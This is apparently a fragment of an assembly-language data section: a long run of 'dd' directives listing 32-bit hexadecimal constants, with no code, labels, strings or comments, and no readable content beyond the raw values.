		dd 68BD30EDh, 0E4B44C82h, 18084ECCh, 482B5140h,	0AA0F0DB8h
		dd 94E5C12Ah, 94A505A9h, 0F9833E52h, 0AD99BE9h,	76EE6854h
		dd 77986926h, 0C45EE953h, 0A0C56594h, 46138CB8h, 0E260B82Fh
		dd 2DD36409h, 0CF18721Dh
		dd 5481ECD1h, 48629B6Fh, 9232102Eh, 4B10904Ch, 0F28101DFh
		dd 48C14AF0h, 5BB10C82h, 0F84151EEh, 10246D1Bh,	0BA00E849h
		dd 3ED14A34h, 0D00D0BBBh, 0C001CB43h, 62070640h, 92117EAh
		dd 2BB80BF3h, 15623AF4h, 8D290BC9h, 504E575Ah, 462B4CB1h
		dd 99ADBC57h, 2E18C348h, 0D9001C83h, 2F3CBB5Bh,	0C58E5BC7h
		dd 0EB349093h, 0A727659Bh, 1E41560Bh, 0D5B07E87h, 0F3BDE908h
		dd 0C9479BBDh, 0D16A37EAh, 9A86C93Ch, 0DD905A1Eh, 2EAF7D31h
		dd 7164EA21h, 3AA7FF81h, 2B89277Dh, 0AA901DE0h,	5D405DA3h
		dd 0DC301155h, 0B2540C0Eh, 55D5A94h, 0B1FA87B4h, 4C57D253h
		dd 0E6C202F9h, 29D47611h, 8542A97Fh, 17D9282Fh,	833856E5h
		dd 593B6809h, 6489A7D1h, 2098C61Ah, 544CEFACh, 0ECB684E5h
		dd 48006614h, 81186952h, 1F1D1BEFh, 0F781516Bh,	336D116Fh
		dd 0A7818A4h, 0C28238h,	474B107Dh, 0B7A2FB29h, 0E95F0800h
		dd 40BAC27Bh, 7970D327h, 0E9DB9661h, 512704E9h,	9883743Fh
		dd 0A4E0E903h, 0ECF0342Bh, 0E134A7E0h, 48C222C1h, 1EB3877Bh
		dd 0DE28FDD6h, 0EB1D27C9h, 0CF449042h, 0FA2D2B3h, 1AF2AFF3h
		dd 802C213h, 0CAE943E9h, 852630ADh, 72895780h, 5FFD26F7h
		dd 419612E2h, 59EF8848h, 0DED36C51h, 0F114FE9Fh, 0F35227FDh
		dd 0B855142Ch, 1AD8CACBh, 628FBE05h, 17800A01h,	2FCE1E83h
		dd 10F0292Bh, 0F7580880h, 3FB3D659h, 923478B8h,	22AE2673h
		dd 0F946D965h, 928EC595h, 0B599C147h, 93AA7099h, 38452C39h
		dd 4D01DE7h, 5A707839h,	0E9FEE87Dh, 22D7262Dh, 55DCCA71h
		dd 76688F90h, 0DC886F4Fh, 305D5E5Eh, 1516823h, 0E11610AAh
		dd 8B2A6F90h, 0D0ECB090h, 125ED849h, 8BBC332Eh,	945F5FF2h
		dd 0B1391FCh, 0D310AFF8h, 0CF12E42Dh, 38A1EBEAh, 0FFA7A604h
		dd 8089E912h, 7B3968E4h, 0D9BD57A8h, 5AFB4816h,	68EB9101h
		dd 0F17C7CF8h, 95FE896h, 5A7A415Fh, 9D5B6803h, 5A48280Ch
		dd 0B2A5A4A9h, 18096B4Bh, 172102F3h, 60A7A9E5h,	0B0CDEAF5h
		dd 85F0DDFAh, 5B02ABAh,	0F81A8A91h, 0A1BC9620h,	833A2E2Dh
		dd 0A232235Fh, 0B8100030h, 390533C3h, 87DE0C1h,	4BEBD94Dh
		dd 0F23ABBA5h, 93417620h, 0CF0F6E89h, 1D99115Eh, 0DB30527Bh
		dd 0D947127Ah, 0C6521C75h, 0D876E607h, 0FE44D70Bh, 67A864Fh
		dd 0EFE11F12h, 11E90453h, 687F9808h, 0C664A52Fh, 25597A9Dh
		dd 7AF96319h, 72ADE961h, 15079F39h, 6FAE30E5h, 75FAED92h
		dd 0F4F5F95Fh, 2BDDB12Fh, 0DEC4D094h, 35BB38C5h, 0AD39AF78h
		dd 4C358E2Eh, 84888534h, 9B81E2Ch, 1C40328Fh, 5483701h
		dd 50119695h, 7C0BACA8h, 0A304307Dh, 0AA92EB25h, 822E910Ch
		dd 4903EB04h, 0DA0BCD80h, 0D1EFA2CBh, 683BB8E2h, 1A46951Eh
		dd 6716BE1Eh, 0A57C159Fh, 82B6597Ah, 191A092Bh,	0C14D615Dh
		dd 0ECE3172Eh, 1F05C42Fh, 436289EAh, 433F1005h,	925D97F5h
		dd 0C6FC54C9h, 0A92F9FA6h, 33294B0Fh, 0D1B09FC0h, 86C8FE03h
		dd 7D2F6D0h, 2C013408h,	0CE8F2BD8h, 10B5B992h, 312F8026h
		dd 0B722C660h, 2494BD80h, 89CB20Ah, 8FADDEB9h, 0CB616FC9h
		dd 0E246CB4Ch, 5B0C9144h, 0A3A4672Ch, 55E90A16h, 0A2A77529h
		dd 7FF0A8F6h, 7F896A39h, 0DE01AEC2h, 21C782D6h,	63DFCFC2h
		dd 0D0E7EA9Dh, 0A0C890D7h, 2F6D7578h, 87C04563h, 20F7740Eh
		dd 7309A2CEh, 0D02940AEh, 840882B9h, 3001B6FEh,	30515AD0h
		dd 0F57E80C8h, 95B0C5E6h, 0B80E152Dh, 60EB297Ch, 1A36D85Dh
		dd 0E925213Bh, 97ADF837h, 0E9059B6Fh, 0D543F92Dh, 0CB6E0C63h
		dd 7CB3DD4Dh, 84C4992Eh, 0F859E828h, 0FCEC6443h, 0EAF988FAh
		dd 1033381Fh, 792DCC1Eh, 75A2E2EBh, 133C5771h, 71F7E4F3h
		dd 68505703h, 43902FF1h, 37EBA5E9h, 26C91715h, 0CB1843E3h
		dd 9A776138h, 9180FF9Ch, 683F8858h, 0CF1D490Ch,	0E667C59Dh
		dd 0D624BF6Bh, 86E2F3C4h, 905CB10h, 7E661A04h, 0B5AD733Eh
		dd 0D0B268Dh, 6D5C380h,	0AF77EAh, 4B9321F2h, 0C72C017Ch
		dd 95038CDCh, 1A956166h, 35E25D26h, 0B85EC325h,	555CA0BAh
		dd 799900BDh, 0E581016Ch, 6048748Fh, 0A340104Fh, 511BBE03h
		dd 0D4D23B0Bh, 7C89D849h, 12E9B02Eh, 0BAC8B731h, 662420A8h
		dd 617E627h, 0E77B6AD0h, 82FE4EF0h, 680183C1h, 0DA336B7Dh
		dd 8B448C4Eh, 0A7B2CD4Bh, 29EA2578h, 832AEA0h, 9AB83F28h
		dd 0CB4A5EFAh, 0C70390A4h, 0F711196Ch, 0FE4FE556h, 2CF06B52h
		dd 4F3BF4A9h, 9FF2B477h, 0EFB92460h, 98BE0813h,	0CDD74805h
		dd 0C820841h, 30441D05h, 0C92088E4h, 0BF2C2CE5h, 0BBAF0804h
		dd 2C8850Bh, 0DF17A37Ch, 0E9606312h, 481C124Dh,	8749430Eh
		dd 0A6C643FBh, 0EDB403B0h, 48E9F1B7h, 0FC289D51h, 44001A1Eh
		dd 28316852h, 975A4C22h, 49E0679Bh, 6627F139h, 771FF259h
		dd 509B16ADh, 4CD51AE9h, 0F4F1A4F7h, 25FD3B8h, 15BF68CBh
		dd 8D888F59h, 845D13DCh, 7003BFE0h, 0FA7CCE1Ch,	684D687Dh
		dd 4C5724A3h, 0D7AC3CD5h, 9A0242EFh, 5C646056h,	0E34763A0h
		dd 3C0BAF40h, 4064AF2h,	0ABE5C174h, 34D6CA42h, 0C1B48E3Dh
		dd 4B3FAE29h, 55BD062Eh, 6D255C51h, 0AE1FA0A3h,	0E2C7D66h
		dd 81E7D147h, 6D6BBB41h, 0B2D4401Eh, 307F9929h,	67092CB8h
		dd 0A0632E03h, 7631C6A7h, 0E9AC132Fh, 5C3E49EBh, 27AC454h
		dd 5C9B22A1h, 9164C28Ch, 39476800h, 972AE105h, 539EE5CCh
		dd 0B28A44FAh, 9D8CFA9Ah, 8AA44C0Eh, 0B50ECD8h,	514D192Dh
		dd 94E906F7h, 550299DEh, 272EC068h, 0EC0F8531h,	1F2F9E4h
		dd 772630E0h, 405AD189h, 0A78F19D6h, 0AB173BF7h, 0D71630F9h
		dd 3F43B353h, 4D3D167Dh, 0E4B0A6A8h, 0B13B447h,	6E08F709h
		dd 8C4D266Ch, 0EEDF264Ah, 165BDEFCh, 604D66E4h,	3FEF979Fh
		dd 5E5433F9h, 0BA0052F3h, 8C61B15h, 62038EB9h, 0A6A05A94h
		dd 0C4868E9Ah, 0FE041171h, 0DBEF80CFh, 0F4485CFCh, 9CCF484h
		dd 0AA50C85Dh, 68929FD9h, 7F241A77h, 31828909h,	40FC3DCh
		dd 40AA69C4h, 321FAFF8h, 32923151h, 344731A1h, 0BECC1D9h
		dd 75FD524Bh, 95C8FFB4h, 85866936h, 5E1380D5h, 95443A08h
		dd 0A8CDB143h, 0F1BD87ABh, 0D82D6933h, 2630CCF5h, 20C674Ah
		dd 619B2366h, 4E1891DFh, 80BFA13Fh, 0E7868952h,	12E105B7h
		dd 0F7D885Fh, 69E5BB6Ch, 80FBA163h, 0E220EF46h,	65D82941h
		dd 0A05185Bh, 3A182D0Ah, 523F23D1h, 10B5B6CDh, 1FDE7F13h
		dd 0C094ACD5h, 7CA2C4Ch, 2D4DECBDh, 2389D5E9h, 66161AE5h
		dd 58021B88h, 68A0D669h, 9BB71234h, 0FC599FD8h,	0C9A4505Eh
		dd 7679EAB5h, 0EFEB03A3h, 50B73EFEh, 7450121h, 25FACBE6h
		dd 42C5C92h, 0D3135DF5h, 3E224C34h, 0BBB24051h,	16BE001Ah
		dd 6EE1B95Dh, 313C4CB5h, 774B5CE9h, 48DB460Ah, 0AE02BC49h
		dd 5F138012h, 89AA9090h, 0DC6E5B3Ch, 0C58731EDh, 629718B5h
		dd 0D25EB921h, 0A0B5C621h, 119F6800h, 0F160AD94h, 0B02A1816h
		dd 0B35D4C01h, 400C0130h, 2481575h, 618C09F5h, 795C02A5h
		dd 97BD94DEh, 5E256851h, 5DEA620Fh, 55697D74h, 6B51C019h
		dd 0FDEFE640h, 0F6261980h, 0E8C44B9Bh, 0F7DEB7E2h, 62BAD3C4h
		dd 0A36859FFh, 85B56AE9h, 4052BE7Fh, 0A5E408EBh, 0D6B00D2Ch
		dd 4BAA0537h, 824A857Dh, 800077FEh, 456825CAh, 0E7443A4Bh
		dd 880BE8F0h, 287AF9E1h, 19B212A5h, 5CEAA4A0h, 88019BDEh
		dd 97E9D328h, 964E2C6Bh, 0CFBEC00h, 0B7493B30h,	0A7FE9D49h
		dd 5D58D013h, 0AC58B37Bh
		dd 20685DF0h, 2B30224Eh, 0BFA5A8Bh, 0A6CA8111h,	0E934BC00h
		dd 0E89770D7h, 8025D585h, 0F13F2858h, 7EBEA580h, 0D790C288h
		dd 3A6D98DDh, 10999DBBh, 9F45F69Ch, 0B90BFD28h,	80097429h
		dd 0EC34A324h, 8EE6C156h, 0F065DC58h, 7412ABE1h, 59012687h
		dd 6AAE4018h, 2572F884h, 0F14AC0FBh, 5C330BDCh,	806E1824h
		dd 33099F1Bh, 5E5A59CBh, 6C390CF9h, 4B0B7B8Ah, 7032E9B9h
		dd 7574A23Ah, 0CA9DA816h, 8A66022h, 273ABD94h, 0F96A08DFh
		dd 1922BA80h, 60BE30B8h, 0D6310B26h, 0D7BE76E9h, 0AA375127h
		dd 0C18511A4h, 55AA1192h, 91EEE45Ah, 8389A75Fh,	942145E0h
		dd 64408352h, 9A112DD6h, 0CF0FA743h, 53EB1ABCh,	10E22C8Fh
		dd 455618B7h, 74C12592h, 0D3C02CB2h, 0F8EBE05Ah, 0C80B229h
		dd 0D0F6C786h, 0FA278808h, 4CCFC5Bh, 0A1C220A3h, 4A9D041h
		dd 0ECA1864Eh, 9DE4D0D2h, 0B1FDE042h, 25283B86h, 9F666718h
		dd 9B17AEF5h, 4D1227ABh, 54ECF384h, 686656C0h, 25E95CA9h
		dd 0EBBDE057h, 83102B69h, 487F8FDBh, 50056636h,	834E2668h
		dd 0D4C4C33h, 761D2084h, 0E08D2F5Fh, 0F32DD622h, 8FFA812Eh
		dd 0E540D889h, 0B0A6EBAh, 1428E944h, 3F6809A2h,	0C0251BD5h
		dd 0B580E63h, 0A20E97Bh, 0ABC5C57Ch, 0A74A08A8h, 0EFE909B2h
		dd 52D4A619h, 2CB5949Ah, 125D1297h, 8B7F092Dh, 0C4897171h
		dd 0CC0FA8F8h, 0F81FEF0Ah, 0E509ED9Eh, 0E6B40243h, 0BAA40EC4h
		dd 0FB3D9065h, 939750Fh, 42F58BBDh, 17D47825h, 4D9C581h
		dd 0BA4D3A0Bh, 0F587BC01h, 8C40C683h, 0B93C2268h, 42D4ACA1h
		dd 0F70ECD12h, 0B9F84304h, 0A74B0F12h, 0FF7C99E5h, 0F508E525h
		dd 2ED92CD7h, 8A195A44h, 0E5E9F129h, 15902EB7h,	0BF351D23h
		dd 415B8691h, 7B6C4C96h, 0BA965879h, 5834BA40h,	955AE688h
		dd 0ACB13DCEh, 39EAEA92h, 44E62BFEh, 0D32BB84Bh, 0FCAC4921h
		dd 0B60F9384h, 0CD558102h, 0D4216A43h, 0AB0564F3h, 296EC59Dh
		dd 253129D6h, 216883DDh, 0EF40B9C8h, 2DD9E32Bh,	0A54BD1A9h
		dd 8949E159h, 0C9187E20h, 0E5ACE679h, 7F0EE942h, 0BF601112h
		dd 801CAEB4h, 0CCC357F4h, 0E7ECC0DDh, 2A04729Eh, 0F1ECAB1Dh
		dd 0AD4454CFh, 0C7E188FEh, 3F2A4A02h, 0DC7D2B68h, 0E00953EBh
		dd 10C5B6E9h, 2D01C6D4h, 0EE895591h, 3504BAD6h,	91AC4826h
		dd 5D1FFF3Ch, 0E4CB4158h, 83369F10h, 280CE20Ch,	0FB320475h
		dd 0FE0D61F6h, 4AF2784h, 16A3721h, 88ECC380h, 14111AA4h
		dd 0BDE9CCEh, 3B198C94h, 2064F17Fh, 5E80E561h, 0EEF0955Dh
		dd 0D16E9F16h, 0BFEB1600h, 0BD7EE03Ah, 0A1E973E0h, 0EF45A060h
		dd 9E67473h, 5ECE6828h,	0E7DC1877h, 307E8283h, 90359402h
		dd 85F2C00Dh, 0D25C80AEh, 2D925295h, 6C5363DCh,	75306885h
		dd 0BD6D64EAh, 0F8A88BD2h, 97C4F68Ah, 0E9E2C6F3h, 95EED8BFh
		dd 0E90A5EC7h, 74A5D3B0h, 0E889162Dh, 0FBCB5D6h, 61977A4Dh
		dd 7F79656Ch, 0EC81D375h, 0FF6378E2h, 4E27BB02h, 0A455145Dh
		dd 0A80E339h, 14837252h, 0BD4301C3h, 0B26840Dh,	46C8EB20h
		dd 9960D31h, 417C0501h,	103B3366h, 0EC4B07D8h, 0B9839F26h
		dd 0E5503BC9h, 0C870BE83h, 0FA6F2905h, 3F2DFE40h, 0B44EC004h
		dd 99D1CF4h, 63A45921h,	0C294C331h, 0D4A008D1h,	5EB4CD81h
		dd 23DDE5Ch, 0F457EFEDh, 5A8A4050h, 674C2631h, 0C5BC33B0h
		dd 0F9232AF0h, 5B00294Ah, 61069CCAh, 0FE2FE21h,	1C153FB4h
		dd 7362F28Fh, 237D68A9h, 0C2177918h, 1C08DD0Fh,	597C2507h
		dd 1E7F658h, 0F736E427h, 2FE6C1DEh, 59F9640Bh, 0B258965Dh
		dd 62A2105Bh, 5FF82100h, 0D90AD535h, 0BCB1135Bh, 0E30F233Ah
		dd 928E9BA2h, 0E14FD076h, 2D306283h, 56C12237h,	0E96008A1h
		dd 52008FA3h, 6F43ABBAh, 0D7292E1Ch, 1EDC148Ch,	2139F04h
		dd 7E26C21Eh, 788C2B79h, 0AE5276Bh, 2CEE371Fh, 48DC0FAAh
		dd 0EB017B42h, 0AEF26640h, 0EEC58980h, 4780BF7Fh, 112DD029h
		dd 3D692117h, 0C7E64604h, 1FB33C8Ch, 0CD92083h,	0FE18677Eh
		dd 7604C66Bh, 4923161h,	7D580282h, 0A42CC84Ch, 4CC0EC5Eh
		dd 2D4E1B43h, 88D44431h, 5692E9E2h, 0B95F0086h,	32478ADDh
		dd 10E817Ch, 0A431552Ch, 0CDBF87E1h, 677B411Bh,	0B8A4C361h
		dd 0E908400Ch, 3688366Eh, 0E9B879A8h, 69C41F4Fh, 782D22ECh
		dd 1E143C93h, 91E02C0h,	5455699Ah, 0BC031719h, 70074FE8h
		dd 0C6035DDAh, 818FEFD1h, 2E2D6DFCh, 6A243683h,	28030EC3h
		dd 0CA73F8F3h, 0BCE9A189h, 4DE02Ch, 815585h, 6A57B0EFh
		dd 0E970591Fh, 5240644Ah, 719249F8h, 32DF7DF7h,	541AE29Eh
		dd 0B85855F4h, 994B0717h, 0F105406Eh, 309166B4h, 58808AAAh
		dd 0B1F29D5Dh, 48969720h, 0D02E4C57h, 3490EB21h, 14A7F68h
		dd 158BBA6h, 8463BB05h,	786EA041h, 0E975370Bh, 89A9C8DEh
		dd 0FE67B8E1h, 79E6272Dh, 57357660h, 52BB641Dh,	317BD281h
		dd 320514Dh, 3CD02C20h,	449E1087h, 2CB6A799h, 0F2CE7E25h
		dd 0BA61C9FEh, 43F0E6CFh, 23810405h, 8401341Ch,	0E907047Dh
		dd 177CA29Ch, 51B42642h, 0F65B4ADFh, 0F042D299h, 0CC434668h
		dd 1E1C3567h, 1ED8AB10h, 0E2F64FCDh, 7CFE2040h,	0B1BD5FACh
		dd 998E3FE4h, 4FBA4250h, 0D205ED11h, 964017A8h,	0FA1413E0h
		dd 0B416015Ch, 9A6D0737h, 54626F34h, 0DBEE959Fh, 4F8EFC70h
		dd 4B35A4B8h, 0B0E6C214h, 0CFA45BDCh, 26149801h, 494FCD24h
		dd 3C5EB2CAh, 35824B3Bh, 4BCB50EDh, 0CB5AA251h,	7A2F84D7h
		dd 823317D3h, 0F4B743CBh, 39F58E1Fh, 0BEDDED67h, 0BA4A305Eh
		dd 0F36017FAh, 28ECA52h, 3AEF983Eh, 259833C2h, 0A9D30C36h
		dd 975DB25h, 27E29ED4h,	687B2C8Bh, 4B7856EBh, 3408DCFBh
		dd 628239BEh, 8976F46Ch, 5304695Dh, 0A0F6B22Bh,	5472685Ch
		dd 4026B708h, 4C9FB882h, 471D0EC4h, 14DE297Eh, 0E91308EAh
		dd 2DF680D2h, 0B72C4DF5h, 50586160h, 0B4F49E9h,	5609053Ah
		dd 0FD56232Eh, 9852CF17h, 4594A7E4h, 0B1DF886Ch, 0D5B0095h
		dd 661D5922h, 18A87498h, 0E3E0E2B4h, 0A49A2AF2h, 0D7D5F628h
		dd 0ED0E9B78h, 4DC53006h, 0C66008E8h, 0C766BD21h, 779E6BF2h
		dd 0F0FB5025h, 0AC864A1Bh, 6177C1A9h, 0B4426B73h, 0EA080071h
		dd 0F95A6859h, 629B4C91h, 5E4AC204h, 16463AD7h,	57CB8A88h
		dd 7E888731h, 0A8022714h, 461C2568h, 7A801D32h,	643A4925h
		dd 0FF093BB8h, 7C6F107Ch, 0ADEA08EDh, 623CBB81h, 422E5C65h
		dd 0DE95B21h, 0C3F91BD5h, 288B7E76h, 20C25729h,	0B30F9E53h
		dd 24EBD0D8h, 35BBCCE7h, 0A426F4EFh, 244A815Ah,	7CA88660h
		dd 784BD8A0h, 823BB124h, 932D68E9h, 142FD2AAh, 0B64BF653h
		dd 0A8FC103h, 2FB43B01h, 258C406h, 0E0F1E90Bh, 5F261EDFh
		dd 807E0028h, 5B6801C5h, 0C005434Ch, 886DB450h,	51580EE3h
		dd 0EB09D0B5h, 60CC8383h, 5C8A301h, 70AB6DC5h, 84EE367Fh
		dd 4C6E9A0Ch, 2DE99427h, 0B6B8E1Ah, 26F8D8BAh, 2753523Fh
		dd 0B6A684ABh, 0A07EE5C2h, 17DB89Dh, 3A3D5871h,	0D0F70706h
		dd 1EE49435h, 0B664F8EBh, 831F1169h, 0A05A8366h, 5EB4E914h
		dd 4F13CA21h, 0E9C3DBA6h, 785B730Eh, 0ABB4C6BCh, 0D92C9F29h
		dd 103E6421h, 277C8324h, 6B1190B9h, 47D1974Ch, 0DF82335Ch
		dd 0F8E7C40Dh, 37E913B8h, 0F791A808h, 9867C6F6h, 12A10598h
		dd 0EA5A0F4Bh, 0B84BA38Ah, 5D2884ACh, 0E52DFF14h, 0C69A65E3h
		dd 0C4DC6042h, 65DA85BBh, 0D7F5279Ch, 0E45E5F9h, 5D68D2AFh
		dd 54B657Fh, 0BB51535Ch
		dd 5822A082h, 344EBFB7h, 360AEAB6h, 0D42D5DDDh,	85D9764h
		dd 5516B4A0h, 0DFEAFEF1h, 0DDB80843h, 0A970BE56h, 0D1652D0Bh
		dd 0A1840FEEh, 12D3E94Eh, 5D97AA04h, 0A10D3036h, 0C4E4D455h
		dd 0B7287FA2h, 0D917A8E1h, 0D6EBEDCBh, 61930556h, 0FC4161B1h
		dd 0B26B5FFEh, 68D3C941h, 82F6C51Eh, 3DAB16E0h,	577109FCh
		dd 179EBF04h, 0C9AF340Fh, 0B23A96h, 4B28C421h, 0E8291580h
		dd 355F5D01h, 678615A5h, 49121822h, 897DB87Fh, 82FDE551h
		dd 58014318h, 92A8C5DDh, 3F00FEF7h, 4FE06BD3h, 0F0C24E21h
		dd 0C34E4398h, 87C9E340h, 0BF29101Dh, 0B952DECh, 0B52F0446h
		dd 5C4E0016h, 8135F114h, 94EE75E6h, 45E92809h, 3DCA7B1Eh
		dd 70B717A0h, 68AFB6C1h, 4F2E0C97h, 0F39EFD86h,	68415E21h
		dd 307E1E2Bh, 817A03CDh, 0C79E5E51h, 904B3B0h, 9F87E95Eh
		dd 0E3328F42h, 0D8F3CA3Bh, 0EEB12736h, 0E17C26F2h, 0F10EB62Fh
		dd 3AD54BD3h, 0D40AA9FAh, 4E42F2F3h, 14B762F8h,	75949710h
		dd 0B352D05h, 31800DF1h, 618309EAh, 0E5F5C76h, 99B360A7h
		dd 7986A256h, 0C4C8BD2Dh, 0B2D5CFFh, 0F8D01F9Eh, 38CEFBA7h
		dd 93BFFF9Eh, 0D2ED01BFh, 25D5442Eh, 81080EDCh,	8226344Ah
		dd 5860AEDEh, 5082DB67h, 808D7FFAh, 4C8B1C2Ah, 0F05ABAE2h
		dd 740A08BBh, 0F2FAE918h, 56A68BA7h, 13484B11h,	0BE96D0E2h
		dd 0A162D069h, 6EFDEEBCh, 833C8635h, 2655AB07h,	0D96DC72Ah
		dd 7B258AC6h, 6C2FCCA9h, 94C05928h, 1AB2A3F0h, 0A15FC89Fh
		dd 0FA2F756Eh, 5BB9C57h, 8C13BE68h, 0EE9E5261h,	2C42C752h
		dd 6BF427DEh, 0A55A8942h, 94C2F2C8h, 4F29DEA2h,	2980B3E5h
		dd 0C73DECC8h, 0A4EA17C0h, 4A985359h, 4BA1329h,	0FCFD4478h
		dd 6070E61Bh, 0BB9E9A5h, 38009D4Eh, 0C153FBFh, 5FE8E926h
		dd 415D8ABEh, 0F616ADC5h, 5221707Ah, 0B6F084A6h, 2FEE7C17h
		dd 0A050731Ch, 0A751EC62h, 5665B0D7h, 88B39F23h, 0A78C0CCh
		dd 407C4C18h, 2BE9FE0Ch, 772938E1h, 479FEBF5h, 2648F968h
		dd 0D32056CFh, 0E939D449h, 0FB7B9D25h, 4D183D52h, 0D1F1DD98h
		dd 0A437390Bh, 0E929902Dh, 177F91CBh, 7BE7BDC2h, 1DC34B5Dh
		dd 6CD21A2Ch, 0A8511D4Ch, 0F1272802h, 0B0360A6h, 6FE9F929h
		dd 29A8CE4Eh, 0C4BB2D80h, 895A010Fh, 78EAF600h,	9F315175h
		dd 88265DAh, 0A295FD96h, 5678B019h, 685960A9h, 11BC79CFh
		dd 0B40A4072h, 64F2D1Fh, 3828FCC0h, 9031AB2Ch, 0E713BD00h
		dd 0E99BE927h, 0F2924328h, 53502534h, 92E9C141h, 0B0C96EA3h
		dd 0BD9E34E0h, 22270845h, 3DEA41Dh, 0DAEA2505h,	738AA540h
		dd 0C645491h, 9633404h,	20735266h, 0F7247252h, 9B09C9D2h
		dd 13790F7Ah, 0DCF50E82h, 0B1A262EEh, 46217DCh,	60A25C67h
		dd 3D653C54h, 0B50BE32h, 899E4031h, 0CF6881AAh,	0C424FCA4h
		dd 5800772Eh, 0C3FEEBD0h, 7A54F2F5h, 0BB95B12h,	5A40BE89h
		dd 6D1209BFh, 0A801692Ch, 7AE4006h, 928E897Fh, 6D185F11h
		dd 0BD78FC38h, 5AF81594h, 0B321E04Bh, 0C5CC68EDh, 7B884C4Ah
		dd 5F7E610h, 205F895Dh,	77CF32E2h, 7EE9F592h, 57D65EC2h
		dd 30DCC189h, 9F5F6958h, 68026BE4h, 176D1ECDh, 0C5805058h
		dd 520206h, 1D7479C4h, 0E202BA6Fh, 31612B46h, 2D5F6EAh
		dd 65410D78h, 42F13A40h, 13B6384Ch, 7AECE6B8h, 0EAA02E5h
		dd 6DD6D6Ch, 5A0D0AABh,	4838A229h, 0DB9B1025h, 14F75619h
		dd 0F0D6D15Eh, 0A79A695Fh, 83E3DCF9h, 0FDEC1297h, 50AF8188h
		dd 5CFAA62Ch, 712D76B4h, 0B0D86555h, 0F41280A0h, 2E0D5188h
		dd 0BA707F65h, 0A2644840h, 0C00C0DD4h, 0F39003E3h, 4AE65D82h
		dd 609EC0C5h, 0C0BE4564h, 0F5B652B8h, 39B492D2h, 67A30FF7h
		dd 76901F8h, 6259B641h,	834B1565h, 54508425h, 2DA68CBEh
		dd 0A5D47395h, 566951D9h, 6468857Fh, 0D6AFD829h, 3B6E3F13h
		dd 51C68F8h, 0D77D9F40h, 111809D7h, 858B70EBh, 16DDD482h
		dd 5DE2D30h, 358844F1h,	416805D6h, 56375F73h, 0F57A2050h
		dd 309631Eh, 4EF2977h, 0EEF96Fh, 0C25830B9h, 0CE130176h
		dd 164C0DE9h, 97D77A5Bh, 295A9540h, 5953CB12h, 0E67F9AA9h
		dd 40D84EB0h, 0E22DCDCBh, 0DA483116h, 5C5084F3h, 0F7E65909h
		dd 0D344D24Ah, 0B90956B1h, 298B42F6h, 712E06CDh, 0BD0FE2D1h
		dd 9AF914B3h, 1FA669E7h, 51A43A84h, 7135D800h, 58D318B9h
		dd 0E9090D29h, 92F9681Eh, 8757278Ah, 609E380h, 984B6E35h
		dd 5ECD40BFh, 0A0A1519Eh, 21DCD10Ah, 225D2894h,	92F19554h
		dd 945FA73Ch, 20E91679h, 5BD47795h, 1F4075B2h, 0AE93E036h
		dd 2F59E50Ah, 0FC235E93h, 27197F22h, 2AC5F021h,	605AE99Fh
		dd 0D7ED64Dh, 1781B5F1h, 0D9034BDCh, 0B1F5B7Ah,	0EFA86167h
		dd 0CA41DCB0h, 5BCCB948h, 2D8F4F1Ch, 7B6546C0h,	454AC368h
		dd 40AAFC34h, 6F72D5Bh,	0D09D72B6h, 7A662006h, 0F08C70B7h
		dd 9DDB670Ch, 0BC9FF2E7h, 0F376B957h, 1675173Bh, 0D2F3E7F1h
		dd 31A1E5B8h, 0A4C22CC3h, 46B0BEF8h, 511AAE0Bh,	0DD0B72BAh
		dd 6867B083h, 95E6A53Ah, 3F757ECAh, 33E20757h, 21B5F7Bh
		dd 0E82F1BBh, 2B65C509h, 2056F82Fh, 0F64B555Eh,	0C035B2B4h
		dd 1C62D13h, 8B3E170Eh,	0E1F72508h, 0BDD94055h,	4EC0C654h
		dd 0F4EA2822h, 509917h,	414986EDh, 5DF821D0h, 640B2FCh
		dd 7B7D0025h, 903564FDh, 419D980Ch, 0E06A5883h,	310413C8h
		dd 60E96886h, 8851CF90h, 957CF0C5h, 56B9F0Fh, 0FEBDE876h
		dd 81B7AC48h, 8B94856h,	0E6C3407Bh, 1ED23F27h, 7DAAE913h
		dd 57211C49h, 7DC57492h, 5F4362h, 0F281DAF7h, 0D803A80Eh
		dd 0A5E2CF2Eh, 5F802768h, 24BFE5C2h, 1B2BEFF9h,	0EEA44210h
		dd 548E72C1h, 0A4015703h, 1AB47669h, 6731C789h,	3291E5A0h
		dd 5429CDBDh, 87B7A2F5h, 8E010659h, 48EA40D3h, 7AAD81BFh
		dd 442934C8h, 0CE238210h, 2C7DE0Bh, 0F7F6DFFBh,	6961A86Ah
		dd 5EBB2CF1h, 0C3B2E2B8h, 0DB1A4955h, 2E51069Ch, 7564087Eh
		dd 0DF3870Bh, 0F43008BFh, 3D8B0999h, 0ABAB290Bh, 0F36B06F1h
		dd 0C8390B0Ch, 44CF93D4h, 98BA14B7h, 174F8C4Ah,	5628A7E6h
		dd 3A9D6EADh, 0FD53E4A5h, 0F5F32C9Ch, 5F5EF240h, 0C2C6039h
		dd 16270A54h, 7182426Bh, 0A6651CC7h, 6CA24941h,	4A925FADh
		dd 29BA62F7h, 92BEC5BDh, 0E992B405h, 0A3BD624Eh, 7AB10928h
		dd 246598D1h, 5BEC4108h, 6892E1F1h, 4AACC16Ch, 57F474CDh
		dd 1A189501h, 0BCCB53h,	4765F469h, 8CC6E965h, 2094D9B4h
		dd 75980750h, 18504C66h, 14407847h, 72DF801h, 0E911A075h
		dd 31584EF9h, 3A061498h, 0ED9FC6B2h, 7F2602A6h,	46BD551Ch
		dd 10ECD7D4h, 1373B452h, 6CC307Ah, 0A95B83EEh, 8120470Eh
		dd 0E8F9726Fh, 7F77984Fh, 9031745Eh, 8B7A02EFh,	136A4819h
		dd 8990B032h, 14D73D2Ah, 0F3F20160h, 935E0840h,	2822273Bh
		dd 250BE09Ah, 0C0EE02BDh, 0A12C5A5Ah, 9FB214C7h, 0BC808766h
		dd 1D045932h, 2C68AF84h, 6DE90422h, 0B56F45E1h,	0F0B57E05h
		dd 5305B66Fh, 76A41874h, 82B6253Bh, 0C1AF637Dh,	312E7EB5h
		dd 7BC018BDh, 5B3CB2E0h, 5EDE271h, 29231D53h, 85510FBh
		dd 0BDDA5E38h, 581804A3h, 66C260DCh, 0A63500B2h, 2813D427h
		dd 63EB0568h, 79075675h, 310BE8C1h, 0A4AC364Fh,	9AF1B1h
		dd 1DD1F749h, 5BF98741h, 0FECE09D7h, 32B5530Bh,	0A287598Bh
		dd 1C844B81h, 4C5210F4h, 0A62C77E1h, 0E28E2ABDh, 77EA6688h
		dd 9857660Ch, 0E2BD2B97h
